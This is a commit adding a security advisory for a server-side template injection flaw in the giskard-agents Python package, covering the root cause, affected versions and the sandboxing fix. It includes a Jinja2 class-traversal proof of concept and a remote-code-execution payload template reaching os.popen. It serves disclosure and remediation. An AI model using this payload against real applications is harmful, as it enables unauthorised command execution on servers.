Skip to content

Commit 0d9246f

Browse files
1 parent dc0ebb7 commit 0d9246f

File tree

1 file changed

+82
-0
lines changed

1 file changed

+82
-0
lines changed
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-frv4-x25r-588m",
4+
"modified": "2026-03-27T22:17:30Z",
5+
"published": "2026-03-27T22:17:30Z",
6+
"aliases": [
7+
"CVE-2026-34172"
8+
],
9+
"summary": "Giskard Agents have Server-side template injection via ChatWorkflow.chat() using non-sandboxed Jinja2 Environment",
10+
"details": "## Summary\n\n`ChatWorkflow.chat(message)` passes its string argument directly as a Jinja2 template source to a non-sandboxed `Environment`. A developer who passes user input to this method enables full remote code execution via Jinja2 class traversal.\n\nThe method name `chat` and parameter name `message` naturally invite passing user input directly, but the string is silently parsed as a Jinja2 template, not treated as plain text.\n\n## Root Cause\n\n`libs/giskard-agents/src/giskard/agents/workflow.py` line ~261:\n```python\ndef chat(self, message: str | Message | MessageTemplate, role: Role = \"user\") -> Self:\n if isinstance(message, str):\n message = MessageTemplate(role=role, content_template=message)\n```\n\nThe string becomes `content_template`, which is parsed by `from_string()`:\n\n`libs/giskard-agents/src/giskard/agents/templates/message.py` lines 14-15:\n```python\ndef render(self, **kwargs: Any) -> Message:\n template = _inline_env.from_string(self.content_template)\n rendered_content = template.render(**kwargs)\n```\n\nThe Jinja2 Environment is not sandboxed:\n\n`libs/giskard-agents/src/giskard/agents/templates/environment.py` line 37:\n```python\n_inline_env = Environment(\n autoescape=False,\n # Not SandboxedEnvironment\n)\n```\n\n## Proof of Concept\n\n```python\nfrom jinja2 import Environment\nenv = Environment() # Same as giskard's _inline_env\n\n# Class traversal reaches os.popen\nt = env.from_string(\"{{ ''.__class__.__mro__[1].__subclasses__() | length }}\")\nprint(t.render()) # 342 accessible subclasses\n\n# Full RCE payload (subclass index varies by Python version)\n# {{ ''.__class__.__mro__[1].__subclasses__()[INDEX].__init__.__globals__['os'].popen('id').read() }}\n```\n\nA developer building a chatbot:\n```python\nworkflow = ChatWorkflow(generator=my_llm)\nworkflow = workflow.chat(user_input) # user_input parsed as Jinja2 template\nresult = await workflow.run() # RCE if user_input contains {{ payload }}\n```\n\nNote: using `.with_inputs(var=user_data)` is safe because variable values are not parsed as templates. The issue is only when user strings are passed directly to `chat()`.\n\n## Impact\n\nRemote code execution on the server hosting any application built with giskard-agents that passes user input to `ChatWorkflow.chat()`. Attacker can execute system commands, read files, access environment variables.\n\nAffects giskard-agents <=0.3.3 and 1.0.x alpha. Patched in giskard-agents 0.3.4 (stable) and 1.0.2b1 (pre-release).\n\n# Mitigation\n\nUpdate to 0.3.4 (or 1.0.2b1 for the pre-release branch) which includes the fix.\n\nThe fix replaces the unsandboxed Jinja2 Environment with `SandboxedEnvironment`, which blocks attribute access to dunder methods and prevents class traversal chains. `SandboxedEnvironment` blocks access to attributes starting with `_`, preventing the `__class__.__mro__` traversal chain.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "PyPI",
21+
"name": "giskard-agents"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "0.3.4"
32+
}
33+
]
34+
}
35+
],
36+
"database_specific": {
37+
"last_known_affected_version_range": "<= 0.3.3"
38+
}
39+
},
40+
{
41+
"package": {
42+
"ecosystem": "PyPI",
43+
"name": "giskard-agents"
44+
},
45+
"ranges": [
46+
{
47+
"type": "ECOSYSTEM",
48+
"events": [
49+
{
50+
"introduced": "1.0.1a1"
51+
},
52+
{
53+
"fixed": "1.0.2b1"
54+
}
55+
]
56+
}
57+
],
58+
"database_specific": {
59+
"last_known_affected_version_range": "<= 1.0.2a1"
60+
}
61+
}
62+
],
63+
"references": [
64+
{
65+
"type": "WEB",
66+
"url": "https://github.com/Giskard-AI/giskard-oss/security/advisories/GHSA-frv4-x25r-588m"
67+
},
68+
{
69+
"type": "PACKAGE",
70+
"url": "https://github.com/Giskard-AI/giskard-oss"
71+
}
72+
],
73+
"database_specific": {
74+
"cwe_ids": [
75+
"CWE-1336"
76+
],
77+
"severity": "HIGH",
78+
"github_reviewed": true,
79+
"github_reviewed_at": "2026-03-27T22:17:30Z",
80+
"nvd_published_at": null
81+
}
82+
}

0 commit comments

Comments
 (0)